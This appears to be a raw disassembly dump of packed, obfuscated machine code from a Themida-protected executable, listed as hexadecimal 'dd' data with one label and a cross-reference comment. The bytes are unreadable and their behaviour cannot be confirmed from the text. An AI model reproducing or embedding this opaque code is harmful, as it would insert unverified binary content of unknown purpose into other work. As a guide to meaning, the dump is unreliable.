46000000h, 237C356h dd 55AA2C3Fh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 4A0078F0h, 0E69B8086h, 0B70FD7AAh dd 6107EBF0h, 0E99Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 16C279C3h, 22D0307Ch dd 6ACAAE05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 7FD5C355h, 9D89573Eh, 61021B1h dd 68D0Fh, 0B5310000h, 610284Dh, 6060C18Bh, 0C6816653h dd 0F5EA0AEh, 488h, 0FBBB6600h, 0C08B6137h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 11E8DAh dd 0C2E0000h, 0CBC00574h, 151E3E94h, 9C04E968h, 0FBD55D2h dd 185h, 835EF800h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 438B8C0h, 85890000h, 6100E65h, 0B8159D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 438B853h dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5FECD0C3h, 4BB3DC9Ah, 0E952A808h, 0Ah, 6AD23B0Fh, 0B20417A3h dd 6A5EF3B9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0E93BC357h, 0F9EA2305h, 8BF2861Ch dd 81BD89C0h, 0E806102Fh, 844h, 89CBBF0Fh, 10282185h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0B491BAA1h, 0CF8166E0h, 66601971h, 0B953C38Bh, 0E6ED47Fh dd 5E86159h, 89000008h, 102ED995h, 8589FC06h, 61030C5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h dd 0F180BFD5h, 7D2E8BFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 295E25C3h, 2DD16AB8h dd 8589531Ah, 6101211h, 13E8h, 0A859F00h, 0F64B81F1h, 6129093Ch dd 44A0E49Eh, 89E25E7Ch, 29618D89h, 8B590610h, 782E8F1h dd 870F0000h, 17h, 9E860h, 0D6E40000h, 54A4914h, 587E11C6h dd 86D958Bh, 89610610h, 1011ED85h, 0E8CB8A06h, 758h, 1EC58D8Bh dd 85890610h, 6100BB9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0FDC35747h, 0B962973Ah, 6A0238C3h, 723E8h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 25B537F6h, 0B70EC33h, 2D8589AEh, 6A061023h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0D28FC356h, 57095296h, 0D1E80642h, 6A000006h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B33C352h, 1012E58Dh, 0CD858906h, 3061000h dd 100D9DB5h, 69EE806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0D14238C3h, 65F51FB5h dd 89D67D9Ch, 1004E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1FC84E4Ch, 0EDF0BCAEh dd 64BE8h, 0F0BF0F00h, 1D898589h, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 77E055C3h dd 6ED1ADD4h, 0CABF0F07h, 617E8h, 8589F500h, 6102ED5h dd 1C618D33h, 0B70F0610h, 602E8CBh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E96D91C3h dd 14h, 6DAB73E3h, 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 0AEF3A229h dd 8589CF8Bh, 6101F51h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0F3C35141h, 0E98147BCh, 7F3CB052h, 59BE8h dd 89CF8B00h, 10060595h, 25858906h, 6A06101Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 9A7DC351h, 564207F2h, 0D59589DBh, 0E806102Ah, 560h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h dd 150533ECh, 8533606Dh, 610136Dh, 89610FB1h, 100EA585h dd 29E8FC06h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 807DC352h, 0BE50FC28h dd 2CD4285Dh, 0A185895Fh dd 0F061008h, 0F5E8F9BFh, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8A7AC350h dd 3A6CC78Fh, 8D8BE440h, 6101D05h, 8658589h, 6A0610h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8D17A2C3h, 805A4BF5h, 9DE801C1h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0FD53C355h, 8962C745h, 0CD1A7F11h, 81666060h, 8B4785CAh dd 100CA9B5h, 0B58B6106h, 6102109h, 5820F61h, 0B9000000h dd 43DA9E39h, 4A58589h, 8D010610h, 6103035h, 6A00B0h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 28A8CDC3h, 0D810FABh, 60000000h, 0E7C819B9h, 0D98D8B67h dd 6106101Fh, 0D8B60FFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0B6C35545h, 326E97Ah, 950957B1h, 6100A55h dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0E3278E4Ch, 8BF8FB9Bh, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 10E94Eh, 70700000h, 4FE7344Fh, 1CA4C3C5h, 199EFC43h dd 0E8C19991h, 0BE804h, 62590000h, 727DE0DBh, 452EC731h dd 11E88Ah, 41710000h, 8320DBA2h, 0BAE34B8h, 0F078C05Ch dd 596B4509h, 0E2F76659h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 75C35545h, 6890Fh, 0BD8B0000h, 6101B71h dd 1DCE8166h, 58A0FF6h, 66000000h, 0C9D8E981h, 0BF0FD82Bh dd 506050CEh, 0F5CB452h, 4FBA6631h, 60585A77h, 0DE9h, 0B6A15600h dd 83D55993h, 6FD9AB5Fh, 61613C08h, 81241C89h, 54C177E6h dd 0C995FF63h, 8906100Dh, 10303595h, 6E95B06h, 0E4000000h dd 3E41353Dh, 0B5958D21h, 6A061016h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 12C350h dd 5DB22064h, 7281E650h, 8E9h, 0B97C9500h, 861363D5h, 6A1A89FFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0FBF6C355h, 62BD21A1h, 2B249A97h, 102FE18Dh dd 4428906h, 68B0Fh, 8D8B0000h, 6101101h, 20A1958Dh, 1A890610h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4C35040h dd 8E80E7Dh, 5B000000h, 0B58ECAD2h, 0FE575A6h, 8B59FFB7h dd 101AC5B5h, 4428906h, 22858D8Bh, 958D0610h, 6102D89h dd 0BE9h, 0F1C57500h, 8C385D4Ah, 0D8E3F668h, 0BE661A89h dd 428902B1h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8B669125h, 5958DF0h, 52061001h, 20E1B58Bh dd 895E0610h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0A3D09778h, 0A17E19B5h, 6A044289h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1A4BC350h, 2E018D89h, 958D0610h, 61010B5h dd 0E35BD89h, 1A890610h, 2DC5BD8Bh, 42890610h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 14E9D252h, 5E000000h, 824AB473h, 9E79EA2h, 0AE23992h dd 29F53BC8h, 8DE95485h, 10098995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9902775h dd 9, 0C1043C83h, 0E523CE08h, 6A1A89ABh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B78EC350h dd 0BABF668Ah, 44289BEh, 13E9FCh, 583F0000h, 7F98808Dh dd 3AE8C79Bh, 0FAB6A6D4h, 0ED3571D8h, 49958D40h, 6A06102Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 727DC351h, 452EC731h, 31E6C08Ah, 1028458Dh dd 6A1A8906h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2DDBC355h, 0C6E4244Ch, 0B58BB112h dd 6102825h, 66044289h, 5BD3F781h, 69958Dh, 8E90610h, 9C000000h dd 6CC9DF93h, 89FCF4F4h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 6D8621A8h, 735DE762h dd 1DD180FDh, 8B044289h, 1007298Dh, 11DE906h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0B65D50C3h, 0E52F9B27h, 0FB8B693Fh, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8B01C3h, 6100661h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 66194DC3h, 8146DE1Ah dd 0A0DD3EC1h, 6A006A25h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 3EEFC352h, 0FD055C7h dd 0BD23C8BFh, 61000E9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 112B5DC3h, 6A935929h dd 0CFBF0F3Ah, 2EC995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 53277EC3h, 53B5FD83h dd 0C3F494A9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 75C35040h, 0BD8B6046h, 6101D21h, 595BD29h, 8A610610h dd 53006AC5h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0F781E5F1h, 66256F0Ch, 3BFFF181h, 6E860h dd 5FB50000h, 0B4BCD2EDh, 6D01E281h, 0F5E4349h, 68Eh, 81BD8B00h dd 61061021h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0AFACB9C3h, 8DBD835Dh, 61015h, 0BD830975h dd 6100095h, 50197400h, 0B8C08B53h, 438h, 132D8589h, 9D8D0610h dd 612B87Ch, 585BD3FFh, 95BD83h, 74000610h, 0B8535017h dd 438h, 132D8589h, 9D8D0610h, 612B51Dh, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 89D7D840h dd 1029A9BDh, 66FC6006h, 70B7F181h, 0B5295761h, 61015C1h dd 8DC08B5Eh, 1013B985h, 9E806h, 9AB00000h, 0A480A937h dd 66A2513Bh, 5F6317BFh, 8950DE8Bh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 39DCFC3h dd 6646D676h, 6A8888BBh, 81BD8B00h, 0E906100Bh, 0Dh, 0A19FAA3Eh dd 59E41Dh, 0ED5502A5h, 60006A60h, 0BE9h, 2C31A900h, 0B97A994h dd 620BE457h, 0AE9h, 8D1E6600h, 0CC306876h, 61EE3B8Bh dd 858D85B3h, 61442BDh, 83FBB70Fh, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E989AAC3h dd 815773ABh, 556A68D3h, 3605F4Ah, 10278185h, 0F9858906h dd 61061018h, 8B666090h, 54DCBFF8h, 50616188h, 0DE8h, 6249DC00h dd 5EDF72ABh, 0F2CF00E3h, 11E9EC2Ah, 2D000000h, 81810707h dd 0E0FD647Bh, 0F1E8A44Fh, 730BE397h, 6A905Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0BCE42AC3h, 7D058B46h dd 9D8B09C5h, 6103115h, 0CE8h, 39920900h, 3BC80AE2h, 548529F5h dd 6A5FF9E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66463877h, 6ADA8Bh, 0A0DF8166h, 1995FF45h dd 6606101Dh, 0D16CD381h, 0AFD88D8Dh, 6A0613h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 724824C3h, 0BC92CA2Eh, 0D1FF04F4h, 10E8h, 4477D000h dd 76A614B5h, 9DB26053h, 0ECD77548h, 0BD8B5B34h, 6102255h dd 2209BD83h, 0F010610h, 8385h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 969294DFh dd 0DF8B6612h, 9D8B026Ah, 61001FDh, 24048950h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h, 5AABCA31h dd 0BC4C05B8h, 95C7806Eh, 49595FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1DF288C3h dd 2C3F0237h, 0FA8B55AAh, 0D13E9h, 0E800h, 815D0000h, 1442C7EDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0F88A35FCh, 8DD88B66h, 1399B685h, 13E806h dd 0D40C0000h, 0DE54D4A0h, 5DFA7D98h, 0DDFC58A8h, 44656D9Bh dd 7BF38123h, 5B20E460h, 50D88B90h, 0DC1ABB66h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 33359783h, 45E78166h, 35FF647Bh, 0 dd 12E8h, 266B2500h, 9A4D026Dh, 0F1267722h, 0EA01D065h dd 6683BCCFh, 0BDEAE781h, 2589645Fh, 0 dd 818D29h, 85FF0610h, 6101419h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 2AC35343h, 0B589F523h, 6101929h dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 85C07FC3h, 92BED3F5h, 11E808h, 0EA5D0000h dd 0F1680D93h, 5F0ED217h, 4F4CFE4Ch, 0BF2F9850h, 1475454Fh dd 21B5FF5Fh, 8B061028h, 10001D9Dh, 1595FF06h, 0E9061006h dd 132h, 22A5BD89h, 0B00610h, 51BD89h, 70E60610h, 8133BF66h dd 8E971E4h, 0D2000000h, 53080C02h, 3CFA1032h, 7830F61h dd 89000001h, 1029F59Dh, 0C8B60F06h, 9E349ABFh, 6BA73h dd 0E9600000h, 10h, 8C0CC17h, 41517807h, 7E70D902h, 760A78BAh dd 0C18B61F5h, 10E9h, 71F63600h, 2531C0EBh, 1FD00377h dd 171AE926h, 4E8C135h, 6BD38166h, 0E2F766E0h, 4A10BB66h dd 11E9C82Bh, 3A000000h, 9425FC00h, 0E5A94220h, 41C7EAC9h dd 0D20EEF58h, 9589D18Bh, 610124Dh, 9E9h, 9D9D2B00h, 0F061009h dd 858BFAB7h, 61016B5h, 35BD8B60h, 61061011h, 29C58509h dd 0C0830610h, 83FE8B07h, 5E900C0h, 9E000000h, 632BB765h dd 830FD03Bh, 25h, 8D33DF81h, 4FE96D19h, 0E8000000h, 0Fh dd 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h, 60635A1Ch, 61C68B66h dd 7D8D8B5Bh, 0BF061029h, 3487F8Bh, 0F01E183h, 2184h, 0E7816600h dd 0A583D566h, 610297Dh, 0AFBF66FEh, 0B59589F9h, 89061016h dd 1023518Dh, 0E906h, 0B58D0000h, 613DA9Bh, 6A5BF552h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 4D6156E8h, 0FFFB8B66h, 1031C995h, 22D38106h dd 2965C71Eh, 1001B185h, 7B3B906h, 0B5310000h, 61006F5h dd 0FFCE183h, 680h, 8DBD8B00h, 0FC06100Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 39C35242h, 5B83F19Ch dd 9529DEF2h, 6100AA5h, 8B66C02Bh, 0BADEh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 7635C0C3h, 50FD9420h, 0FFBF6646h, 0C233AD0Fh, 0D003E8D1h dd 7504E983h, 0E8BA60F4h, 0F04ADD8h, 1580h, 10E900h, 0B3480000h dd 4FA8AD7h, 427A99F7h, 0DEC4500Bh, 6A618FC8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 83C4C351h, 7A625EFCh, 7E926FDh, 86000000h, 0DD4E9BA8h dd 880DE5E5h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 819AC350h, 0D0ED4F7h dd 0F5958B2Ch, 0E9061009h, 14h, 39EF1924h, 1770A865h, 4C8C3C4Bh dd 0D9593F95h, 8FEB96DDh, 23198D8Bh, 81660610h, 50BBDBCBh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5774965Ch, 6A9F87h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 1D3C4AC3h, 77B72B11h, 1E29BD83h dd 0F000610h, 8084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0CFE5FF8Bh, 2B006F01h dd 10348D9Dh, 0B806h, 8D8D0000h, 6104E85h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DAC35343h, 9DBD8B5Fh dd 0FF06101Ch, 51006AE1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0F72AFF0Ah, 17B017EFh dd 0BF0FA48Bh, 0C1BD83FFh, 61022h, 34D840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 999E7CC3h, 5D9531h, 0BD830610h, 61022C1h, 37840F01h dd 66000003h, 0F836DB81h, 22C1BD83h, 0F030610h, 2EF86h dd 1D853100h, 8B061002h, 101FEDBDh, 9E96006h, 72000000h dd 41AAE072h, 0FD82C725h, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 50D5C351h dd 6010F82Eh, 1D2CE49h, 102AB98Dh, 4E18006h, 0AFBBF0Fh dd 0BB840FC9h, 0BF000000h, 74DDF43Eh, 2185858Bh, 6A0610h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 8831CDC3h, 0D3811A91h, 6C0500D1h, 11FD8533h, 0BD8B0610h dd 6101CB1h, 295DBD8Bh, 66500610h, 89EC46BFh, 85292404h dd 6102161h, 0FA8B006Ah, 0D3BC0268h, 6E8EDh, 0F8790000h dd 897E0B5h, 815B5B50h, 47FD2404h, 8A0F124Bh, 0 dd 5D595FFh, 89FC0610h, 13C26D85h, 0E9FA8B06h, 1CFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0AFBE4649h dd 0E873687Fh, 7, 0DC4FA80Ah, 8B3D5CD6h, 858B5BF9h, 613C265h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B8C35343h dd 0BF795E35h, 223AE6EBh, 2DCB8166h, 1800C772h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E99BC356h, 0Ah, 0E103567Ah, 10520782h, 0B58BAEDAh dd 613C269h, 11E5BD89h, 858B0610h, 6100E25h, 12E9h, 18378300h dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h, 89F61E81h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 858BB095h, 6102185h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0CAC35343h, 89BB3F27h, 1021E585h, 4468906h dd 50F98B66h, 34895B53h, 0C810F24h, 0F000000h, 687h, 0A59D8B00h dd 0FF061030h, 13C265B5h, 8D89F806h, 6103299h, 4E8h, 1F03FF00h dd 0E9606000h, 7, 0B2E211C2h, 0E81B9D17h, 0Dh, 0DEEB9D7h dd 19532515h, 95177A3Ch, 0B0615E48h, 0B350619Eh, 24448BD2h dd 0F88B6604h, 850F008Bh, 15h, 10E9h, 0B6C93900h, 4B4A6FEBh dd 3B4BF441h, 400760AEh, 244489EBh, 5819B704h, 15ED9D09h dd 858D0610h, 613C26Dh, 139D9589h, 0E8500610h, 0Bh, 0C4F5FCB0h dd 29C8A86Dh, 0E922F4F2h, 8, 3E3B3BA6h, 97867B7Bh, 2404895Fh dd 0FFFBB70Fh, 1005D595h, 459D8B06h, 61061028h, 0E34A68BBh dd 0C185C752h, 3061022h, 2B000000h, 10063D9Dh, 759D8B06h dd 83061009h, 13C26DBDh, 840F0006h, 18h, 2E099D8Bh, 28E90610h dd 0E9000000h, 6, 0AD5F7540h, 0DA8A3E7Ah, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BF3C355h, 1009C59Dh, 0C1BD8306h, 3061022h, 47D850Fh dd 0BD830000h, 613C26Dh, 70840F00h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F8FAC356h, 0C26DB5FFh, 0CE90613h, 41000000h, 0D15AFA28h dd 8B3CBFDh, 0FFB88D80h, 102FA595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 5680EBB1h dd 9C5AFEBFh, 61B58B31h, 0E90613C2h, 12h, 29D88298h, 0CFEECB62h dd 0FA5806F0h, 0F42B6AEAh, 6C71C25h, 10001h, 11458D89h dd 89500610h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 895680C3h, 4D85898Dh, 0FF061012h dd 13C26DB5h, 9DBD0906h, 8B061004h, 101D1DBDh, 2595FF06h dd 6A061012h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 3973C352h, 7414BF66h, 0C261B58Bh dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0A47D4AC3h, 8B319026h, 1021D185h, 0E9606006h dd 7, 0C3BF6198h, 0BF8DC2E6h, 6E346125h, 0B830F61h, 0E9000000h dd 6, 6F2B636Dh, 8961530Ah, 0C486h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0E6DAD80Dh dd 0C4FE940Bh, 0EE809FCh, 91000000h, 0DB7BDEC9h, 4FC81E3Bh dd 97AD6AFCh, 1A890FAFh, 0E8000000h, 14h, 0F0C331B6h, 8988D96Ah dd 82CE791Fh, 86DFAAFEh, 0F33A5103h, 958B5F5Bh, 61009F5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h dd 5BF88B52h, 8B04C283h, 1006D99Dh, 20508906h, 165F61BFh dd 0C2858D27h, 6A0613D7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B40AC356h, 0ACD66C83h dd 0BE8C2h, 73B20000h, 0AA63F6E8h, 9700DB42h, 5F616028h dd 0B88689h, 0B5290000h, 61011F1h, 5E960h, 0D2A50000h dd 297C4DA4h, 100A498Dh, 6A6106h, 0F599D8Bh, 0B5FF0610h dd 613C26Dh, 0E11BD8Bh, 95FF0610h, 6100495h, 1BDEC381h dd 0F96054Bh, 0A8Ch, 62B26000h, 8C0Fh, 50610000h, 96FE8B66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 27C35545h dd 0BD8B2BC5h, 6101C1Dh, 11E9h, 612B0D00h, 80E62188h, 9C518D3Bh dd 0C6D74FA9h, 0B5FF3053h, 613C26Dh, 0DE8h, 5D5A3E00h dd 3330B548h, 5C448089h, 13E92B8Bh, 0D3000000h, 226BC139h dd 0D4D8679Eh, 0E2E03A0Ch, 0ED8EF2ABh, 0FF5FDA8Bh, 10162D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0BA9D0498h, 0E8FD9CE5h, 83F50AD0h, 101351BDh dd 840F0006h, 26h, 78DB8166h, 0BB669695h, 0E950E06Ah, 0Fh dd 0AD8DDFF7h, 0B35BE270h, 0CC813898h, 9641320Ah, 89DBD09h dd 0B5FF0610h, 613C26Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 6CC35747h, 610B39ADh, 0BB8444E8h, 51D9509h dd 9D8B0610h, 61019D5h, 0C1995FFh, 6A0610h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0D935C5C3h dd 28C85101h, 8052604Bh, 6659A6D7h, 0FF61CE8Bh, 13C26DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 9C066C93h, 6860Fh, 0E7810000h, 21C3F1ECh dd 162195FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0EDDDC6C3h, 89BD8358h, 206100Fh dd 63840Fh, 0C3BB0000h, 8B3EE757h, 1010C585h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 2D9D0349h, 0C6061006h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 10E9CCC3h, 0DC000000h dd 46AF8FE2h, 6AB16C34h, 4E294C00h, 8B1E0E83h, 2585C7D9h dd 6102Ah, 0F000000h, 68Ah, 55B50100h, 0E906102Fh, 0FFFFF3F0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 19C35646h dd 0F6BFC18Bh, 0BF2ABDA2h, 2A8F25BFh dword_590440 dd 13B9858Dh, 9D890610h, 6101F1Dh, 0F78B6090h, 0CE8h, 10E50600h ; DATA XREF: Themida_:0054CD80o dd 410055F7h, 9E97C623h, 8A0FC2h, 5E000000h, 6A905061h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0EF81C355h, 820FCCF1h, 9, 3850Fh, 0DF800000h dd 66006A34h, 0EA4CDF81h, 8166006Ah, 8DC990EFh, 14516D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 5C08379h, 689BD31h, 8A900610h, 9BB750DEh dd 21DB8090h, 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 81A33CB0h, 519D8B05h dd 66061005h, 0FF32CCBFh, 101D1995h, 8D8DF806h, 613AFD8h dd 77DFBB66h, 8F0FD1FFh, 4, 0B709BB66h, 2209BD83h, 0F010610h dd 0A385h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0B5EF81E1h, 11F32F6h, 1000D985h dd 0DF8B6606h, 0BD8B026Ah, 6100891h, 7599501h, 60900610h dd 5E8h, 2F85F200h, 8B6666AFh, 5E859C2h, 9B000000h, 3BD7AAE6h dd 615A6160h, 0EE950h, 42CC0000h, 8DF2989Dh, 91D2A022h dd 0E860E99Ch, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 433AC106h, 425CCB81h dd 0D7817A0Eh, 5EBB0993h, 49595FFh, 9D890610h, 6102129h dd 0D91E9h, 0E800h, 815D0000h, 145177EDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0BE0997Dh, 72F59ABEh, 9D8B0239h, 6100DF1h, 6E9h, 5FB06F00h dd 23BAB73Eh, 1004FDBDh, 0B6858D06h, 6A061399h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0F09AC350h, 1F72EBFBh, 25558AA8h, 999D2B60h, 66061000h dd 0CD29CB81h, 8B0F5361h, 5, 8DEF8166h, 66905FF0h, 0F50FA8Bh dd 158Dh, 0DE800h, 0A8430000h, 0D7D903CEh, 0C4ED71A0h dd 8B906C25h, 6A905FFAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 39EDC352h, 49BD8BCBh dd 0F061007h, 583h, 40BABB00h, 0FF641EE3h, 35h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4F27DAFBh, 95010905h, 61005B1h, 